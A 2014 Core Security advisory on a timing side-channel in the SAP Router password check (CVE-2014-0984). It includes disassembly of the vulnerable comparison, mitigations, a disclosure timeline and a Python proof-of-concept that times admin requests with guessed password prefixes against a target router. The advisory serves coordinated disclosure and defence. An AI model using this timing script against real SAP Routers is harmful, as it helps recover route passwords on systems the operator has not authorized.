SAP Router Password Timing Attack

`Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
SAP Router Password Timing Attack  
  
  
1. *Advisory Information*  
  
Title: SAP Router Password Timing Attack  
Advisory ID: CORE-2014-0003  
Advisory URL:  
http://www.coresecurity.com/advisories/sap-router-password-timing-attack  
Date published: 2014-04-15  
Date of last update: 2014-03-06  
Vendors contacted: SAP  
Release mode: Coordinated release  
  
  
2. *Vulnerability Information*  
  
Class: Information Exposure Through Timing Discrepancy [CWE-208]  
Impact: Security bypass  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2014-0984  
  
  
3. *Vulnerability Description*  
  
  
SAP Router [1] is an application-level gateway used to  
connect systems in a SAP infrastructure. A vulnerability  
have been found in SAP Router that could allow an unauthenticated  
remote attacker to obtain passwords used to protect route entries  
by a  
timing side-channel attack.  
  
  
  
4. *Vulnerable Packages*  
  
. SAP Router release 721 patch level 117.  
. SAP Router release 720 patch level 411.  
. SAP Router release 710 patch level 029.  
. Other versions are probably affected too, but they were not checked.  
  
5. *Vendor Information, Solutions and Workarounds*  
  
  
SAP released the security note  
https://service.sap.com/sap/support/notes/1986895  
regarding these issues. Contact SAP for further information.  
  
  
  
Martin Gallo proposed the following actions to mitigate the  
impact of the vulnerabilities:  
  
  
1. Disable the use of passwords on the Route Permission Table [2].  
  
2. Enforce the use of SNC (Secure Network Communications) as an  
authentication mechanism for securing routes.  
  
  
6. *Credits*  
  
  
This vulnerability was discovered and researched by Martin Gallo  
from Core  
Security Consulting Services. The publication of this advisory was  
coordinated by Fernando Miranda from Core Advisories Team.  
  
  
  
7. *Technical Description / Proof of Concept Code*  
  
  
SAP Router permits and/or forbids networks connections based on a  
Route Permission Table [2]. Entries in the  
Route Permission Table can have a password. If a password is  
specified  
for a given entry in the Route Permission Table, SAP Router checks  
whether  
the user-supplied password matches with the one in the Route  
Permission  
Table entry before permitting a connection.  
  
  
  
The vulnerable function 'passwordCheck'  
performs a non-constant time string comparison for checking the  
user-supplied password against the on in the Route Permission Table.  
On the first non-matched character, the string comparison function  
immediately interrupts the evaluation cycle, which may let an  
attacker perform timing attacks.  
The following snippet shows an excerpt of the vulnerable code  
within the  
'passwordCheck' function:  
  
  
  
/-----  
.text:0000000140005BE0 loc_140005BE0: ; CODE  
XREF: passwordCheck+191j  
.text:0000000140005BE0 movzx ecx, byte ptr [rdi] ; rdi  
points to the routtab password  
.text:0000000140005BE3 movzx eax, byte ptr [rdi+rsi] ;  
rdi+rsi points to the user-supplied password  
.text:0000000140005BE7 sub ecx, eax  
.text:0000000140005BE9 jnz short loc_140005BF3 ;  
password check failed  
.text:0000000140005BEB add rdi, 1  
.text:0000000140005BEF test eax, eax  
.text:0000000140005BF1 jnz short loc_140005BE0  
.text:0000000140005BF3  
.text:0000000140005BF3 loc_140005BF3: ; CODE  
XREF: passwordCheck+189j  
.text:0000000140005BF3 test ecx, ecx  
.text:0000000140005BF5 jz short loc_140005C3F  
.text:0000000140005BF7 cmp cs:trace_level, 1  
.text:0000000140005BFE jl short loc_140005C38  
.text:0000000140005C00 call DpLock  
.text:0000000140005C05 mov rcx, cs:qword_140273BC0  
.text:0000000140005C0C lea r8, aPasswordcheck ;  
"passwordCheck"  
.text:0000000140005C13 lea rdx, aSPasswordCheck ;  
"%s: password check failed\n"  
.text:0000000140005C1A mov cs:dword_1401ADAA4, 1  
.text:0000000140005C24 call DpTrace  
.text:0000000140005C29  
.text:0000000140005C29 loc_140005C29: ; CODE  
XREF: passwordCheck+16Fj  
.text:0000000140005C29 mov cs:dword_1401ADAA4, 2  
.text:0000000140005C33 call DpUnlock  
.text:0000000140005C38  
.text:0000000140005C38 loc_140005C38: ; CODE  
XREF: passwordCheck+135j  
.text:0000000140005C38 ;  
passwordCheck+19Ej  
.text:0000000140005C38 mov eax, 0FFFFFFA2h  
.text:0000000140005C3D jmp short loc_140005C41  
.text:0000000140005C3F ;  
---------------------------------------------------------------------------  
.text:0000000140005C3F  
.text:0000000140005C3F loc_140005C3F: ; CODE  
XREF: passwordCheck+12Cj  
.text:0000000140005C3F ;  
passwordCheck+174j ...  
.text:0000000140005C3F xor eax, eax ;  
password check succeeded  
  
-----/  
  
  
7.1. *Proof of Concept*  
  
  
/-----  
#!/usr/bin/python  
## ===========  
## pysap - Python library for crafting SAP's network protocols packets  
##  
## Copyright (C) 2014 Core Security Technologies  
##  
## The library was designed and developed by Martin Gallo from the Security  
## Consulting Services team of Core Security Technologies.  
##  
## This program is free software; you can redistribute it and/or  
## modify it under the terms of the GNU General Public License  
## as published by the Free Software Foundation; either version 2  
## of the License, or (at your option) any later version.  
##  
## This program is distributed in the hope that it will be useful,  
## but WITHOUT ANY WARRANTY; without even the implied warranty of  
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the  
## GNU General Public License for more details.  
##==============  
  
# Standard imports  
import logging  
from optparse import OptionParser, OptionGroup  
# External imports  
import fau_timer  
from scapy.config import conf  
from scapy.supersocket import socket  
# Custom imports  
from pysap.SAPNI import SAPNI, SAPNIStreamSocket  
from pysap.SAPRouter import SAPRouter, router_is_control  
  
  
# Set the verbosity to 0  
conf.verb = 0  
  
  
# Command line options parser  
def parse_options():  
  
description = \  
"""This example script connects with a SAP Router service and makes an  
information request using a provided password. It then records the  
time the remote service takes to respond to the request. Further  
analysis  
of the time records could be performed in order to identify whether the  
server is vulnerable to a timing attack on the password check.  
  
"""  
  
epilog = \  
"""pysap -  
http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=pysap"""  
  
usage = "Usage: %prog [options] -d <remote host>"  
  
parser = OptionParser(usage=usage, description=description,  
epilog=epilog)  
  
target = OptionGroup(parser, "Target")  
target.add_option("-d", "--remote-host", dest="remote_host",  
help="Remote host [%default]", default="127.0.0.1")  
target.add_option("-p", "--remote-port", dest="remote_port",  
type="int", help="Remote port [%default]", default=3299)  
target.add_option("--router-version", dest="router_version",  
type="int", help="SAP Router version to use [retrieve from the remote  
SAP Router]")  
parser.add_option_group(target)  
  
misc = OptionGroup(parser, "Misc options")  
misc.add_option("-t", "--tries", dest="tries", default=10,  
type="int", help="Amount of tries to make for each length [%default]")  
misc.add_option("--password", dest="password", default="password",  
help="Correct password to test")  
misc.add_option("-o", "--output", dest="output",  
default="output.csv", help="Output file [%default]")  
misc.add_option("-v", "--verbose", dest="verbose",  
action="store_true", default=False, help="Verbose output [%default]")  
parser.add_option_group(misc)  
  
(options, _) = parser.parse_args()  
  
if not options.remote_host:  
parser.error("Remote host is required")  
  
return options  
  
  
# Retrieve the version of the remote SAP Router  
def get_router_version(connection):  
r = connection.sr(SAPRouter(type=SAPRouter.SAPROUTER_CONTROL,  
version=40, opcode=1))  
if router_is_control(r) and r.opcode == 2:  
return r.version  
else:  
return None  
  
  
def try_password(options, password, output=None, k=0):  
  
p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN,  
version=options.router_version)  
p.adm_command = 2  
p.adm_password = password  
p = str(SAPNI() / p)  
  
fau_timer.init()  
fau_timer.send_request(options.remote_host, options.remote_port, p,  
len(p))  
fau_timer.calculate_time()  
cpuSpeed = fau_timer.get_speed()  
cpuTicks = fau_timer.get_cpu_ticks()  
time = fau_timer.get_time()  
  
if options.verbose:  
print "Request time: CPU Speed: %s Hz CPU Ticks: %s Time: %s  
nanosec" % (cpuSpeed, cpuTicks, time)  
  
# Write the time to the output file  
if output:  
output.write("%i,%s,%s\n" % (k, password, time))  
  
return time  
  
  
# Main function  
def main():  
options = parse_options()  
  
if options.verbose:  
logging.basicConfig(level=logging.DEBUG)  
  
# Initiate the connection  
sock = socket.socket()  
sock.connect((options.remote_host, options.remote_port))  
conn = SAPNIStreamSocket(sock)  
print "[*] Connected to the SAP Router %s:%d" %  
(options.remote_host, options.remote_port)  
  
# Retrieve the router version used by the server if not specified  
if options.router_version is None:  
options.router_version = get_router_version(conn)  
  
print "[*] Using SAP Router version %d" % options.router_version  
  
print "[*] Checking if the server is vulnerable to a timing attack ..."  
  
with open(options.output, "w") as f:  
  
c = 0  
for i in range(0, len(options.password) + 1):  
password = options.password[:i] + "X" *  
(len(options.password) - i)  
print "[*] Trying with password (%s) len %d" % (password,  
len(password))  
for _ in range(0, options.tries):  
try_password(options, password, f, c)  
c += 1  
  
  
if __name__ == "__main__":  
main()  
  
-----/  
  
  
8. *Report Timeline*  
. 2014-02-20:  
  
Initial notification sent to SAP, including technical description  
to reproduce the vulnerability. Publication date set to March  
11, 2014.   
  
  
. 2014-02-20:  
  
Vendor notifies that the tracking number 1068415-2014 was  
created for this issue.  
  
  
. 2014-02-28:  
  
Vendor notifies that they will not be able to provide  
a fix for the reported issue for the tentative release date,  
March 11th,  
and ask for delaying the advisory publication.  
  
  
. 2014-03-03:  
  
Vendor notifies that they currently do not see it as a  
vulnerability  
and asks for additional technical details.   
  
  
. 2014-03-05:  
  
Core sends additional information regarding how to exploit this  
vulnerability  
solving the network letency and other practical issues.  
Additional publications  
on this topic were also included [3],  
[4], [5].  
  
  
. 2014-03-07:  
  
Vendor notifies that they will make changes for mitigating  
timing attacks.  
Vendor also notifies that they usually release security fixes  
on Patch Days (every second Tuesday per month), and April 8th  
or May 13th seems much more realistic dates for releasing fixes.  
  
  
. 2014-03-26:  
  
Vendor requests pushing the advisory release until May 13th.  
  
  
. 2014-04-03:  
  
Core re-schedules the advisory publication for May 13th.  
  
  
. 2014-03-11:  
  
First release date missed.  
  
  
. 2014-03-07:  
  
Core re-schedules the advisory publication for April 8th.  
  
  
. 2014-03-13:  
  
Core sends a Proof of Concept and aditional technical information.  
  
  
. 2014-04-07:  
  
SAP notifies that they have released the security note 1986895  
[6] on April Patch Day 2014.  
  
  
. 2014-04-09:  
  
Core notifies that the advisory is going to be re-schedule for  
the 15 of April.  
  
  
. 2014-04-15:  
  
Advisory CORE-2014-0003 published.  
  
  
  
9. *References*  
  
[1]  
http://help.sap.com/saphelp_nw74/helpdata/en/48/7612ed5ca5055ee10000000a42189b/content.htm?frameset=/en/ea/214d2aafaa43feaee78375cb16552f/frameset.htm.  
  
  
[2]  
http://help.sap.com/saphelp_nw74/helpdata/en/48/6c7a3fc1504e6ce10000000a421937/content.htm?frameset=/en/ea/214d2aafaa43feaee78375cb16552f/frameset.htm  
[3] http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.65.9811  
[4] http://www.youtube.com/watch?v=idjDiBtu93Y&feature=related  
[5] http://events.ccc.de/congress/2011/Fahrplan/attachments/2021_Slides  
[6]  
SAP security note 1986895  
https://service.sap.com/sap/support/notes/1986895.  
  
  
  
10. *About CoreLabs*  
  
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charged with anticipating  
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technologies.  
We conduct our research in several important areas of computer security  
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11. *About Core Security Technologies*  
  
  
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http://www.coresecurity.com.  
  
  
  
12. *Disclaimer*  
  
  
The contents of this advisory are copyright  
(c) 2014 Core Security Technologies and (c) 2014 CoreLabs,  
and are licensed under a Creative Commons  
Attribution Non-Commercial Share-Alike 3.0 (United States) License:  
http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
  
13. *PGP/GPG Keys*  
  
  
This advisory has been signed with the GPG key of Core Security  
Technologies  
advisories team, which is available for download at  
  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
`